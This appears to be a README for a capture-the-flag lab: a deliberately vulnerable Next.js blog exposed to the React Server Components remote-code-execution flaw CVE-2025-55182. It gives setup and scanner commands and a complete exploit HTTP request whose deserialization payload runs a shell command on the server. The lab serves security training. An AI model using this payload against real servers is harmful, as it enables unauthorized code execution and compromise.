
This repository provides a vulnerable CTF (Capture The Flag) environment based on a cybersecurity blog using Next.js and React Server Components.
CVE-2025-55182 : Pre-authentication Remote Code Execution (RCE) vulnerability in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0. The vulnerable code unsafely deserializes HTTP request payloads to Server Function endpoints.
CVE-2025-66478 : Affects Next.js applications using the App Router.
This challenge presents a cybersecurity blog with:
The blog uses vulnerable versions of React and Next.js, allowing exploitation of the React2Shell vulnerability.
| Package | Version |
|---|---|
next | 16.0.6 |
react | 19.2.0 |
react-dom | 19.2.0 |
# Build the image
docker build -t react2shell-poc .
# Run the container
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc
npm install
npm run build
npm run start
Then, access http://127.0.0.1:3000
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
See the React2Shell/ folder for the Python exploit.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
The response will contain the result of the id command in the x-action-redirect header.
Custom CTF Challenge based on the simple-nextjs-blog template and the CVE-2025-55182 vulnerable environment.